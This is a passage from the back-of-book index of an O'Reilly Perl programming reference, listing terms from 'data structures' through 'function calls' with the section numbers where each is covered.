persistent, providing via tie: 14.6. Tie Modules on CPAN
records of elaborate: 9.6. More Elaborate Records
references to: 8.1. What Is a Reference?
saving: 9.7. Saving Data Structures
self-referential, container classes holding pointers to: 12.6.1. Garbage Collection with DESTROY Methods
stringifying: 9.7. Saving Data Structures
__DATA__ token: 2.6.8. Other Literal Tokens
28.2. Special Variables in Alphabetical Order
data types: 1.2.1. Variable Syntax
built-in: 2.3. Built-in Data Types
converting between C and Perl: 21.4.5. Fiddling with the Perl Stack from C
internal, Perl and C: 21.2. Internal Data Types
modules for: 32.1.1. Data Types
scalars (see scalars)
TYPE declarations in Perl: 29.2.99. my
typeglobs: 2.10. Typeglobs and Filehandles
databases
Data Base Management (see DBM files)
Perl connections to: 5. Pattern Matching
Perl modules for operating: 22.1. The CPAN modules Directory
see also DBI: 22.1. The CPAN modules Directory
tying hash variables to: 14. Tied Variables
Data::Dumper: 9.7. Saving Data Structures
32.1.13. Perl Language Extensions and Internals
32.10. Data::Dumper
datagrams: 16.5. Sockets
date function (see localtime function)
dates, Perl modules for: 22.1. The CPAN modules Directory
dates, portability of: 25.8. Dates and Times
DB module: 32.1.13. Perl Language Extensions and Internals
DB package, caller function: 29.2.8. caller
DBD (Database drivers)
Perl modules for: 22.1. The CPAN modules Directory
DB_File module: 32.1.10. DBM Interfaces
Data::Dumper module, using with: 32.10. Data::Dumper
DBI (Database Interface), Perl modules for: 22.1. The CPAN modules Directory
complex data values, storing in: 32.10. Data::Dumper
dbmclose and dbmopen functions: 29.2.21. dbmclose
deleting from: 29.2.24. delete
locking: 16.2.1. File Locking
modules for: 32.1.10. DBM Interfaces
storing complex data values in: 14.6. Tie Modules on CPAN
DBM modules, portability of: 25.7. Standard Modules
dbmclose function: 14. Tied Variables
dbmopen function: 14. Tied Variables
use declarations with: 14. Tied Variables
dbprofpp program: 20.6. The Perl Profiler
deadlock in threads: 17.2.2.2. Deadlock
deallocating memory: 8.5.2. Garbage Collection, Circular References, and Weak References
debugging: 19.1.3. Switches
20. The Perl Debugger
23.1. Handling Insecure Data
(see also taint)
backend modules for: 18.4. Compiler Backends
bug reports: 0.6.3. Bug Reports
controlling from programs: 20.1. Using the Debugger
DB module: 32.1.13. Perl Language Extensions and Internals
debug level, setting through class or instances: 12.8. Managing Class Data
debugger code, command for loading: 19.2. Environment Variables
debugger commands, Perl: 20.2. Debugger Commands
debugger customization: 20.3. Debugger Customization
options: 20.3.3. Debugger Options
debugging flags: 28.2. Special Variables in Alphabetical Order
debugger support, Perl: 20.5. Debugger Support
debugger, unattended execution: 20.4. Unattended Execution
Devel::Peek module for XS programs: 32.1.13. Perl Language Extensions and Internals
global destruction of objects other references, controlling: 19.2. Environment Variables
overloading: 13.10. Overloading Diagnostics
Perl, using C compiler -DDEBUGGING option: 12.5. Class Inheritance
turning on in tied filehandle: 14.4.1. Filehandle-Tying Methods
Unix security bugs: 23.2.1. Unix Kernel Security Bugs
decimal points, lining up: 7. Formats
declarations: 1.1. Getting Started
4. Statements and Declarations
structs: 12.7.2. Generating Classes with Class::Struct
fields with use fields pragma: 12.7.1. Field Declarations with use fields
global: 4.7. Global Declarations
global variables, lexically scoped: 4.8.3. Lexically Scoped Global Declarations: our
methods, lvalues, indicating return of: 12.7.6. New Tricks
packages: 1.2.1.4. Simplicities
4.8. Scoped Declarations
10. Packages
29.2.109. package
scoped: 4.8. Scoped Declarations
subroutines: 4.7. Global Declarations
with definitions: 6.1. Syntax
use declarations: 1.2.1.4. Simplicities
variables: 4. Statements and Declarations
4.8.1. Scoped Variable Declarations
declarative approach, regular expression programming: 5.10.3. Programmatic Patterns
declaring
formats: 7. Formats
subroutines: 29.2.167. sub
without defining: 6.1. Syntax
decomposing characters into simpler ones: 5.4.3.2. Standard Unicode properties
decompressing CPAN modules: 22.2.1. Decompressing and Unpacking CPAN Modules
decrementing variables: 1.5.4. Unary Arithmetic Operators
decryption (see encryption)
default package: 4.8. Scoped Declarations
DEFAULT pseudosignal: 16.1. Signals
defined function: 29.2.23. defined
defining subroutines: 6.2. Semantics
classes (object-oriented modules as): 11.1. Using Modules
subroutines
declarations vs.: 4.7. Global Declarations
loading from other files: 4.7. Global Declarations
loading with AUTOLOAD: 10.2. Autoloading
DEL in hexadecimal: 2.6.2. String Literals
delete function: 29.2.24. delete
tied arrays, not returning deleted value for: 24.1.5. Previous Perl Traps
deleting
all debugger actions: 20.2.6. Actions and Command Execution
array elements: 29.2.111. pop
29.2.149. shift
29.2.160. splice
breakpoints: 20.2.2. Breakpoints
characters: 29.2.11. chomp
directories: 29.2.135. rmdir
29.2.188. unlink
files: 29.2.188. unlink
found but unreplaced characters: 5.2.4. The tr/// Operator (Transliteration)
hash elements: 29.2.24. delete
pattern-matching operators and: 5.2. Pattern-Matching Operators
denial-of-service problems (patterns and regular expressions), security concerns: 23.3.2. Code Masquerading as Data
dereference-address operator (*), C language: 3.21. C Operators Missing from Perl
dereference operators, overloading: 13.3. Overloadable Operators
dereferencing: 8.1. What Is a Reference?
8.1. What Is a Reference?
8.3. Using Hard References
8.3.1. Using a Variable as a Variable Name
8.3.3. Using the Arrow Operator
array elements: 9.1.3. Access and Printing
hash values as functions: 9.5. Hashes of Functions
operator for (see arrow operator)
typeglobs: 10.1. Symbol Tables
derived classes: 12.1. Brief Refresher on Object-Oriented Lingo
methods as wrappers around base class methods: 12.5.2. Accessing Overridden Methods
descriptors (see file descriptors)
destroying threads
detach method: 17.2.1.4. The detach method
join method: 17.2.1.2. Thread destruction
destructors: 12.6. Instance Destructors
controlling: 19.2. Environment Variables
garbage collection with: 12.6.1. Garbage Collection with DESTROY Methods
shared memory and semaphore: 16.4. System V IPC
detach method: 17.2.1.4. The detach method
$dev file statistic: 29.2.165. stat
Devel::Dprof module: 20.6. The Perl Profiler
profiling subroutine execution with: 20.6. The Perl Profiler
development support, modules for: 22.1. The CPAN modules Directory
Devel::Peek module: 32.1.13. Perl Language Extensions and Internals
Devel::SelfStubber module: 32.1.17. Module Installation Support
Devel::SmallProf module: 20.6. The Perl Profiler
diagnostic messages (see error messages[semi] warning messages)
diagnostics module: 32.1.13. Perl Language Extensions and Internals
die function: 29.2.25. die
exit function versus: 29.2.35. exit
quit signal handling and: 16.1. Signals
dieLevel option (debugger): 20.3.3. Debugger Options
digits: 1.7. Regular Expressions
in names: 2.5. Names
directives (pod): 26.1.2. Pod Directives
directories
changing working: 29.2.9. chdir
closing: 29.2.17. closedir
creating: 29.2.94. mkdir
creating or removing portably: 32.1.4. Filenames, Filesystems, and File Locking
current working, getting pathname of: 32.1.4. Filenames, Filesystems, and File Locking
deleting: 29.2.135. rmdir
29.2.188. unlink
DirHandle module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
file test checks on trees: 32.1.4. Filenames, Filesystems, and File Locking
file test operator: 1.5.7. Some File Test Operators
functions dealing with: 29.1. Perl Functions by Category
IO::Dir module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
opendir function: 29.2.105. opendir
Perl modules for: 22.1. The CPAN modules Directory
prepending to @INC: 19.1.3. Switches
reading entries from: 29.2.121. readdir
rewinddir function: 29.2.133. rewinddir
root, redefining: 29.2.15. chroot
seekdir function: 29.2.139. seekdir
disciplines: 29.2.104. open
filehandles, setting up with binmode: 29.2.6. binmode
division (see multiplicative operators)
DNS (domain name server): 16.5. Sockets
do { }: 3.1. Terms and List Operators (Leftward)
BLOCK: 4.1. Simple Statements
29.2.26. do (block)
iterating: 4.5. Bare Blocks
terminating: 4.5. Bare Blocks
loop controls: 4.1. Simple Statements
4.5. Bare Blocks
FILE operator: 29.2.27. do (file)
loops: 24.1.1. Universal Blunders
SUBROUTINE operator: 4.1. Simple Statements
29.2.28. do (subroutine)
doc directory (CPAN), official Perl manpages: 22. CPAN
documentation
books on Perl: 0.5. Offline Documentation
bug reports: 0.6.3. Bug Reports
C library functions: 29. Functions
default system viewer, calling: 20.2.7. Miscellaneous Commands
embedded in Perl programs: 26. Plain Old Documentation
(see also pod)
modules for: 32.1.16. Documentation Support
Perl manpages: 0.4. Online Documentation
standard modules: 11. Modules
dollar sign ($) (see $)
dosish.h file: 19.1.1. #! and Quoting on Non-Unix Systems
double-ended pipe, opening with tied filehandle: 14.4.2. Creative Filehandles
double-quote context: 2.7.4. Interpolative Context
scalar variables, expanding in: 5.2.3. The s/// Operator (Substitution)
double-quoted strings, interpolation and concatenation: 1.5.2. String Operators
double quotes (") 1.2.1.1. Singularities
replacement string, use with: 5.2.3. The s/// Operator (Substitution)
strings, use in: 1.2.1.1. Singularities
translation escape processing: 5.9.2.1. When backslashes happen
down method: 17.2.3.2. Semaphores
DProf (see Devel::Dprof module)
dump function: 29.2.29. dump
Dumpvalue module: 32.1.13. Perl Language Extensions and Internals
duplicate replaced characters, eliminating: 5.2.4. The tr/// Operator (Transliteration)
DynaLoader: 21.3.2. Creating Extensions
10.2. Autoloading
32.1.17. Module Installation Support
dynamic linking: 21.3.1. XS and XSUBs
C source code from Perl: 21.3. Extending Perl (Using C from Perl)
dynamic scoping: 4.8. Scoped Declarations
4.8.1. Scoped Variable Declarations
4.8.1. Scoped Variable Declarations
local operator, using on global variables: 4.8.4. Dynamically Scoped Variables: local
pattern variables: 5.2. Pattern-Matching Operators
5.2.3. The s/// Operator (Substitution)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

@EXPORT array: 28.2. Special Variables in Alphabetical Order
@EXPORT_OK array: 28.2. Special Variables in Alphabetical Order
%EXPORT_TAGS hash: 28.2. Special Variables in Alphabetical Order
-e (execute) command-line switch: 19.1.3. Switches
-e (exists) file test: 1.5.7. Some File Test Operators
3.10. Named Unary and File Test Operators
/e pattern modifier: 5.2.3. The s/// Operator (Substitution)
each function: 9.4.3. Access and Printing of a Hash of Hashes
14.3.1. Hash-Tying Methods
29.2.30. each
editors, support for debugging: 20.3.1. Editor Support for Debugging
effective GID (group ID): 28.2. Special Variables in Alphabetical Order
effective UID ($EFFECTIVE_USER_ID): 28.2. Special Variables in Alphabetical Order
(see also $< and $> variables)
$EFFECTIVE_GROUP_ID: 28.2. Special Variables in Alphabetical Order
28.2. Special Variables in Alphabetical Order
$EFFECTIVE_USER_ID: 28.2. Special Variables in Alphabetical Order
efficiency (see performance)
profiling: 20.6. The Perl Profiler
elements in arrays: 1.2.1.2.1. Arrays.
else-if statements: 1.6.1.1. The if and unless statements
ellipses (...): 5.3.1. Metasymbol Tables
else statements: 1.6.1.1. The if and unless statements
emacs
editor support for debugger: 20.3.1. Editor Support for Debugging
regular expressions, use of: 1.7. Regular Expressions
-*- sequences: 19.1. Command Processing
email: 22.1. The CPAN modules Directory
(see also mail)
embedding Perl: 21.4. Embedding Perl (Using Perl from C)
32.1.17. Module Installation Support
adding Perl interpreter to C program: 21.4.2. Adding a Perl Interpreter to Your C Program
compiling embedded programs: 21.4.1. Compiling Embedded Programs
evaluating Perl statement from C: 21.4.4. Evaluating a Perl Statement from C
perl interpreter program: 21. Internals and Externals
Perl stack, manipulating from C: 21.4.5. Fiddling with the Perl Stack from C
empty angle operator (<>): 1.4. Filehandles
empty subclass test: 12.5. Class Inheritance
encapsulation: 1.2.1.3. Complexities
8.3.4. Using Object Methods
12.1. Brief Refresher on Object-Oriented Lingo
namespace-based: 14.6. Tie Modules on CPAN
objects in closures: 12.7.5. Using Closures for Private Objects
encryption: 29.2.20. crypt
modules for: 32.1.12. Authentication, Security, and Encryption
Perl modules for: 22.1. The CPAN modules Directory
END blocks: 18.1. The Life Cycle of a Perl Program
exit value of program, modifying: 18.7. Avant-Garde Compiler, Retro Interpreter
order of running: 18.7. Avant-Garde Compiler, Retro Interpreter
skipping: 18.7. Avant-Garde Compiler, Retro Interpreter
end of string, matching: 5.6.2. Endings: The \z, \Z, and $ Assertions
__END__ token: 2.6.8. Other Literal Tokens
24.5.2. Generating Perl in Other Languages
28.2. Special Variables in Alphabetical Order
endgrent function: 29.2.44. getgrent
endhostent function: 29.2.49. gethostent
ending (see terminating)
ending escape sequences for character modification: 2.6.2. String Literals
endless loop (see infinite loops)
endprotoent function: 29.2.60. getprotoent
endpwent function: 29.2.61. getpwent
endservent function: 29.2.66. getservent
English module: 7.1. Format Variables
32.1.13. Perl Language Extensions and Internals
enqueue method: 17.2.3.1. Queues
%ENV hash: 28.2. Special Variables in Alphabetical Order
deleting from: 29.2.24. delete
portability of: 25.4. System Interaction
Env module: 32.1.13. Perl Language Extensions and Internals
env program, starting Perl with: 19.1. Command Processing
cleaning up: 23.1.2. Cleaning Up Your Environment
environment variables: 19.2. Environment Variables
28.2. Special Variables in Alphabetical Order
Env module: 32.1.13. Perl Language Extensions and Internals
modules, Perl use of: 19.2. Environment Variables
PERLDB_OPTS, setting debugger options with: 20.4. Unattended Execution
PERL_DESTRUCT_LEVEL: 12.6.1. Garbage Collection with DESTROY Methods
portability of: 25.4. System Interaction
shells vs. Perl: 24.1.4. Shell Traps
taint checking: 23.1. Handling Insecure Data
eof function: 1.6.2.1. The while and until statements
24.2.1. Time Efficiency
29.2.31. eof
tied filehandle, using on: 14.4.1. Filehandle-Tying Methods
eq operator: 24.1.1. Universal Blunders
equal method: 17.2.1.5. Identifying threads
equal to (=) operator: 3.12. Equality Operators
equality operators: 3.12. Equality Operators
erasing (see deleting)
errno: 28.2. Special Variables in Alphabetical Order
Errno module: 32.1.13. Perl Language Extensions and Internals
error messages: 24.3. Programming with Style
33. Diagnostic Messages
user efficiency, improving with: 24.2.6. User Efficiency
errors: 29.2.38. fileno
33. Diagnostic Messages
Carp module: 32.3. Carp
CGI::Carp module, handling of: 32.5. CGI::Carp
$@ variable for: 28.2. Special Variables in Alphabetical Order
$! variable for: 28.2. Special Variables in Alphabetical Order
$? variable for: 28.2. Special Variables in Alphabetical Order
failed symbol exports: 11.2.1.3. Managing unknown symbols
insecure data: 23.1. Handling Insecure Data
out-of-memory errors: 28.2. Special Variables in Alphabetical Order
subroutines: 6.2.2. Error Indications
warn function, producing error messages: 29.2.199. warn
writing to httpd or other CGI errors logs: 32.1.9. World Wide Web
ESC character: 2.6.2. String Literals
ESC in octal: 2.6.2. String Literals
escape sequences for control characters: 2.6.2. String Literals
/etc/group file: 24.2.1. Time Efficiency
29.2.44. getgrent
/etc/hosts file: 29.2.49. gethostent
/etc/networks file: 29.2.53. getnetent
/etc/passwd file: 24.2.1. Time Efficiency
29.2.61. getpwent
/etc/protocols file: 29.2.60. getprotoent
/etc/services file: 29.2.66. getservent
/etc/utmp file: 29.2.50. getlogin
eval: 2.5.1. Name Lookups
3.1. Terms and List Operators (Leftward)
8. References
24.2.1. Time Efficiency
29.2.32. eval
die function and: 29.2.25. die
loops and: 24.2.1. Time Efficiency
loop controls and: 4.5. Bare Blocks
packages and: 10. Packages
translating with variables: 5.2.4. The tr/// Operator (Transliteration)
restricted (reval): 23.3.1.1. Restricting namespace access
threads, catching exceptions with: 17.2.1.3. Catching exceptions from join
$EVAL_ERROR: 28.2. Special Variables in Alphabetical Order
eval_sv and eval_pv functions: 21.4.4. Evaluating a Perl Statement from C
intercepting: 28.2. Special Variables in Alphabetical Order
in detached child threads: 17.2.1.4. The detach method
die function and: 29.2.25. die
functions raising: 29.2. Perl Functions in Alphabetical Order
insecure data: 23.1. Handling Insecure Data
modules for: 32.1.15. Warnings and Exceptions
raising on failure: 32.1.13. Perl Language Extensions and Internals
raising to indicate subroutine errors: 6.2.2. Error Indications
threads, catching: 17.2.1.3. Catching exceptions from join
trapping: 29.2.32. eval
$EXCEPTIONS_BEING_CAUGHT: 28.2. Special Variables in Alphabetical Order
exclusive file locks: 16.2.1. File Locking
obtaining: 16.2.1. File Locking
exclusive or (xor) operator: 3.13. Bitwise Operators
3.20. Logical and, or, not, and xor
exec function: 29.2.33. exec
filehandles, leaving open across calls: 16.2.2. Passing Filehandles
list argument form, avoiding shell with: 23.3.2. Code Masquerading as Data
portability of: 25.5. Interprocess Communication (IPC)
executable image file: 18.1. The Life Cycle of a Perl Program
$EXECUTABLE_NAME: 28.2. Special Variables in Alphabetical Order
executing
code: 18.3. Executing Your Code
code, conditionally: 1.5.5. Logical Operators
methods: 12.3. Method Invocation
other programs from Perl: 29.2.174. system
Perl program: 1.3.1. How to Do It
Perl programs: 19.1. Command Processing
execution
code, order of: 18.7. Avant-Garde Compiler, Retro Interpreter
Perl programs: 18.1. The Life Cycle of a Perl Program
unattended, debugger: 20.4. Unattended Execution
execv function (in C): 29.2.33. exec
execvp function (in C): 29.2.33. exec
existence of a process: 16.1.1. Signaling Process Groups
exists function: 29.2.34. exists
invoking on hash: 14.3.1. Hash-Tying Methods
exit function: 29.2.35. exit
29.2.40. fork
threads and: 17.2.1.2. Thread destruction
exit status: 28.2. Special Variables in Alphabetical Order
exiting
debugger: 20.3.3. Debugger Options
if or unless blocks: 4.5. Bare Blocks
infinite loop: 4.4.2. for Loops
once-through blocks: 4.5. Bare Blocks
programs: 1.1. Getting Started
Perl debugger: 20.2.7. Miscellaneous Commands
exp function: 29.2.36. exp
expansion, filename: 29.2.69. glob
Expect module: 16.3.3. Bidirectional Communication
22.1. The CPAN modules Directory
explicit method invocations: 12.3. Method Invocation
exponential notation: 2.6.1. Numeric Literals
exponentiation (**) operator: 3.4. Exponentiation
exponentiation of integers: 21.4.5. Fiddling with the Perl Stack from C
Exporter module: 32.1.17. Module Installation Support
21.3.2. Creating Extensions
module privacy and: 11.2.1. Module Privacy and the Exporter
export_fail method: 11.2.1.3. Managing unknown symbols
exporting: 11. Modules
exporting symbols: 11.2. Creating Modules
11.2.1. Module Privacy and the Exporter
without using import method from Exporter: 11.2.1.1. Exporting without using Exporter's import method
export_to_level method: 11.2.1.1. Exporting without using Exporter's import method
EXPR and LIST: 4.2. Compound Statements
loops, separating with commas (,): 4.4.2. for Loops
multiple, in loops: 4.4.2. for Loops
Perl, supplying in replacement strings: 5.10.3. Programmatic Patterns
EXPRs: 4.2. Compound Statements
goto operator, use with: 4.6. goto
$EXTENDED_OS_ERROR: 28.2. Special Variables in Alphabetical Order
extending arrays: 2.8.2. Array Length
extending Perl: 21.3. Extending Perl (Using C from Perl)
extensions, creating: 21.3.2. Creating Extensions
32.1.13. Perl Language Extensions and Internals
using functions from external C libraby: 21.3.4. Using Functions from an External C Library
XSUB input and output: 21.3.3. XSUB Input and Output
XSUBs and XS language, wrapping Perl in: 21.3.1. XS and XSUBs
external subroutines, portability of: 25.6. External Subroutines (XS)
extracting substrings: 29.2.168. substr
ExtUtils::Command module: 32.1.17. Module Installation Support
ExtUtils::Embed module: 21.4.1. Compiling Embedded Programs
32.1.17. Module Installation Support
ExtUtils::Install module: 32.1.17. Module Installation Support
ExtUtils::Installed module: 32.1.17. Module Installation Support
ExtUtils::Liblist module: 32.1.17. Module Installation Support
ExtUtils::MakeMaker: 22.3. Creating CPAN Modules
22.3. Creating CPAN Modules
(see also MakeMaker)
ExtUtils::MakeMaker module: 32.1.17. Module Installation Support
ExtUtils::Manifest module: 32.1.17. Module Installation Support
ExtUtils::Mkbootstrap module: 32.1.17. Module Installation Support
ExtUtils::Mksymlists module: 32.1.17. Module Installation Support
ExtUtils::MM_Cygwin module: 32.1.17. Module Installation Support
ExtUtils::MM_OS2 module: 32.1.17. Module Installation Support
ExtUtils::MM_Unix module: 32.1.17. Module Installation Support
ExtUtils::MM_VMS module: 32.1.17. Module Installation Support
ExtUtils::MM_Win32 module: 32.1.17. Module Installation Support
ExtUtils::Packlist module: 32.1.17. Module Installation Support
ExtUtils::testlib module: 32.1.17. Module Installation Support

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

$^F variable: 29.2.38. fileno
29.2.38. fileno
%FIELDS hash: 28.2. Special Variables in Alphabetical Order
@F array: 28.2. Special Variables in Alphabetical Order
-F (pattern to split on)command-line switch: 19.1.3. Switches
failed matches, searching past position of: 5.6.4. Progressive Matching
fallback overloading key: 13.5. When an Overload Handler Is Missing (nomethod and fallback)
false values: 1.2.1.1. Singularities
FAQ, Perl online: 24.1. Common Goofs for Novices
Fast CGI protocol, using: 32.1.9. World Wide Web
Fatal module: 32.1.13. Perl Language Extensions and Internals
fcntl function: 29.2.37. fcntl
security risks associated with: 23.2.3. Temporary Files
Fcntl module: 32.1.7. Operating System Interfaces
fcntl syscall, filehandle close-on exec flag, manipulating: 16.2.2. Passing Filehandles
field declarations with use fields pragma: 12.7.1. Field Declarations with use fields
field separator, specifying different: 19.1.3. Switches
fields module: 32.1.13. Perl Language Extensions and Internals
FIFOs: 16.3.4. Named Pipes
__FILE__
24.5.2. Generating Perl in Other Languages
2.6.8. Other Literal Tokens
file conversions, Perl modules for: 22.1. The CPAN modules Directory
file descriptors: 29.2.38. fileno
29.2.141. select (ready file descriptors)
filehandles, passing with: 16.2.2. Passing Filehandles
passing through environment variable or command-line option: 16.2.2. Passing Filehandles
returning for tied filehandles: 14.4.1. Filehandle-Tying Methods
file test operators: 3.10. Named Unary and File Test Operators
-p, checking for FIFO: 16.3.4. Named Pipes
race conditions with: 23.2.2. Handling Race Conditions
File::Basename module: 25.3. Files and Filesystems
32.1.4. Filenames, Filesystems, and File Locking
File::CheckTree module: 32.1.4. Filenames, Filesystems, and File Locking
File::chmod module: 29.2.10. chmod
File::Compare module: 32.1.4. Filenames, Filesystems, and File Locking
File::Copy module: 32.1.4. Filenames, Filesystems, and File Locking
File::DosGlob module: 32.1.4. Filenames, Filesystems, and File Locking
File::Find module: 32.1.4. Filenames, Filesystems, and File Locking
File::Glob module: 32.1.4. Filenames, Filesystems, and File Locking
fileglob operator: 2.11.3. Filename Globbing Operator
FileHandle module: 7.1. Format Variables
7.2.1. Accessing Formatting Internals
32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
filehandle-tying: 14.4.1. Filehandle-Tying Methods
filehandles: 1.4. Filehandles
anonymous: 8.2.4. Handle References
angle operator and: 2.11.2. Line Input (Angle) Operator
creating: 1.4. Filehandles
duplicating, reasons for: 29.2.104. open
ending with _TOP: 7. Formats
28.2. Special Variables in Alphabetical Order
file locks on: 16.2.1. File Locking
formats associated with, default names of: 7. Formats
functions dealing with: 29.1. Perl Functions by Category
implicit referencing in: 8.1. What Is a Reference?
local, creating: 29.2.87. local
localizing: 2.10. Typeglobs and Filehandles
names for: 2.5. Names
object methods for, using: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
open function: 29.2.104. open
passing: 6.4. Prototypes
passing in IPC: 16.2.2. Passing Filehandles
through standard filehandles: 16.2.2. Passing Filehandles
piped, explicitly closing: 29.2.104. open
positioning file pointer for: 29.2.138. seek
reading bytes of data from: 29.2.120. read
references to: 8.2.4. Handle References
selecting for output: 29.2.140. select (output filehandle)
SelectSaver module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
syslog tying output to: 14.6. Tie Modules on CPAN
tying: 14.4. Tying Filehandles
creative filehandles: 14.4.2. Creative Filehandles
methods for: 14.4.1. Filehandle-Tying Methods
typeglobs for: 2.10. Typeglobs and Filehandles
use instead of filenames, security benefits of: 23.2.2. Handling Race Conditions
filename globbing operator (see glob operator)
filenames: 2.6.8. Other Literal Tokens
& (ampersand) in: 29.2.104. open
changing name of: 29.2.128. rename
expansions of: 29.2.69. glob
external data in, security risks of: 23.1.2. Cleaning Up Your Environment
getting from symbolic links: 29.2.123. readlink
globbing: 25.4. System Interaction
%INC hash of: 28.2. Special Variables in Alphabetical Order
linking symbolically: 29.2.169. symlink
linking with hard links: 29.2.85. link
mode, separating from: 29.2.104. open
viewing different program or eval statement: 20.2.5. Locating Code
fileno (see file descriptors)
fileno function: 29.2.38. fileno
File::Path module: 32.1.4. Filenames, Filesystems, and File Locking
access and modification times: 29.2.165. stat
29.2.193. utime
accessing under reduced privileges: 23.1.3. Accessing Commands and Files Under Reduced Privileges
ages for: 3.10. Named Unary and File Test Operators
changing name of: 29.2.128. rename
closing: 29.2.16. close
core: 19.1.3. Switches
deleting: 29.2.188. unlink
do FILE operator: 29.2.27. do (file)
end-of-file: 29.2.31. eof
functions dealing with: 29.1. Perl Functions by Category
getting statistics of: 29.2.165. stat
in interprocess communication: 16.2. Files
locking mechanisms: 16.2.1. File Locking
passing filehandles: 16.2.2. Passing Filehandles
lexically scoped variables and: 2.5.1. Name Lookups
modules, autoloading: 10.2. Autoloading
modules for cross-platform access methods: 32.1.4. Filenames, Filesystems, and File Locking
open function: 29.2.104. open
opening via low-level system call: 29.2.171. sysopen
ownership and group, changing: 29.2.13. chown
path components, separators for: 25.3. Files and Filesystems
Perl module, housing in single: 10. Packages
Perl modules for: 22.1. The CPAN modules Directory
22.1. The CPAN modules Directory
permissions: 29.2.10. chmod
29.2.171. sysopen
29.2.186. umask
portably opening: 25.4. System Interaction
read in binary mode: 29.2.6. binmode
reading via low-level system call: 29.2.172. sysread
renaming, program for: 29.2.32. eval
returning current position for: 29.2.176. tell
scopes: 4.8.2. Lexically Scoped Variables: my
symbolically linking: 29.2.169. symlink
test operators: 1.5.7. Some File Test Operators
text/binary distinction: 29.2.104. open
truncating: 29.2.183. truncate
Win32API::File module: 32.1.20. Microsoft-Related Modules
writing via low-level system call: 29.2.175. syswrite
File::Spec module: 25.3. Files and Filesystems
32.1.4. Filenames, Filesystems, and File Locking
File::Spec::Functions module: 32.1.4. Filenames, Filesystems, and File Locking
File::Spec::Mac module: 32.1.4. Filenames, Filesystems, and File Locking
File::Spec::OS2 module: 32.1.4. Filenames, Filesystems, and File Locking
File::Spec::Unix module: 32.1.4. Filenames, Filesystems, and File Locking
File::Spec::VMS module: 32.1.4. Filenames, Filesystems, and File Locking
32.1.4. Filenames, Filesystems, and File Locking
File::Spec::Win32 module: 32.1.4. Filenames, Filesystems, and File Locking
File::stat module: 32.1.4. Filenames, Filesystems, and File Locking
portability: 25.3. Files and Filesystems
File::Temp module, dealing with race conditions: 23.2.3. Temporary Files
filtering output with forking open: 16.3.2. Talking to Yourself
24.5.3. Source Filters
1.8. List Processing
find command: 1.7. Regular Expressions
traversing file trees like: 32.1.4. Filenames, Filesystems, and File Locking
FindBin module: 32.1.17. Module Installation Support
findstr function: 1.7. Regular Expressions
1.7. Regular Expressions
fixed 8-bit chracters: 15.1. Building Character
flags: 5.2.1. Pattern Modifiers
19.1.3. Switches
(see also modifiers, switches)
floating-point numbers: 2.6. Scalar Values
29.2.108. pack
computer storage, order of: 25.2. Endianness and Number Width
Math::BigFloat module: 32.1.1. Data Types
rand function, returning: 29.2.119. rand
flock function: 14.1.1. Scalar-Tying Methods
16.2.1. File Locking
29.2.39. flock
alarms and: 16.1.3. Timing Out Slow Operations
flow of program control, functions for: 29.1. Perl Functions by Category
flushing buffers: 28.2. Special Variables in Alphabetical Order
fmt (Unix utility): 7.1. Format Variables
fonts, Perl modules for: 22.1. The CPAN modules Directory
footers: 7.2. Footers
for, as an alias of foreach: 4.4.3. foreach Loops
for loops: 1.6.2.2. The for statement
searching and replacing elements in arrays: 5.2.3.1. Modifying strings en passant
for modifier: 4.1. Simple Statements
4.4.2. for Loops
foreach loops: 1.6.2.3. The foreach statement
4.4.3. foreach Loops
24.2.1. Time Efficiency
aliasing capability, using: 4.5.1. Case Structures
loop variable, Perl vs. shell programming: 24.1.4. Shell Traps
Perl versions, changes in: 24.1.5. Previous Perl Traps
searching and replacing elements in arrays: 5.2.3.1. Modifying strings en passant
foreach modifier: 4.1. Simple Statements
fork function: 29.2.40. fork
child processes, inheriting parent filehandles: 16.2.2. Passing Filehandles
fork-open: 16.3.2. Talking to Yourself
locks, inheriting across calls to: 29.2.39. flock
pipe open, avoiding shell in: 23.1.3. Accessing Commands and Files Under Reduced Privileges
portability of: 25.5. Interprocess Communication (IPC)
servers, cloning themselves with: 16.5.2. Networking Servers
zombie processes and: 16.1.2. Reaping Zombies
fork syscall: 16.3.1. Anonymous Pipes
forks: 29.2.104. open
cloned interpreter on Windows: 17.1. The Process Model
fork open: 29.2.104. open
open command, two-argument form: 29.2.104. open
form feed: 28.2. Special Variables in Alphabetical Order
formal arguments: 28.2. Special Variables in Alphabetical Order
format: 28.2. Special Variables in Alphabetical Order
format function
declaration: 29.2.41. format
output accumulator: 29.2.42. formline
$FORMAT_FORMFEED: 28.2. Special Variables in Alphabetical Order
$FORMAT_LINE_BREAK_CHARACTERS: 28.2. Special Variables in Alphabetical Order
$FORMAT_LINES_LEFT: 28.2. Special Variables in Alphabetical Order
$FORMAT_LINES_PER_PAGE: 28.2. Special Variables in Alphabetical Order
$FORMAT_NAME: 28.2. Special Variables in Alphabetical Order
$FORMAT_PAGE_NUMBER: 28.2. Special Variables in Alphabetical Order
formats: 7. Formats
accessing formatting internals: 7.2.1. Accessing Formatting Internals
argument lists for, evaluating in list context: 24.1.5. Previous Perl Traps
B::Xref module, cross-references with C: 18.6. Code Development Tools
characters in: 29.2.108. pack
declaring: 7. Formats
fmt (Unix utility): 7.1. Format Variables
footers: 7.2. Footers
integers: 29.2.108. pack
lexical variables in: 7. Formats
pack/unpack: 29.2.108. pack
for strings: 29.2.162. sprintf
top-of-form processing: 7. Formats
variables: 7.1. Format Variables
$FORMAT_TOP_NAME: 28.2. Special Variables in Alphabetical Order
formline function: 29.2.42. formline
formline operator: 7.2.1. Accessing Formatting Internals
Fortran: 2.2. Molecules
frame option (debugger): 20.3.3. Debugger Options
free-form languages: 2.2. Molecules
fully-qualified names: 2.5. Names
function calls: 3.1. Terms and List Operators (Leftward)
pipe, low-level for bi-directional communication: 16.3.3. Bidirectional Communication
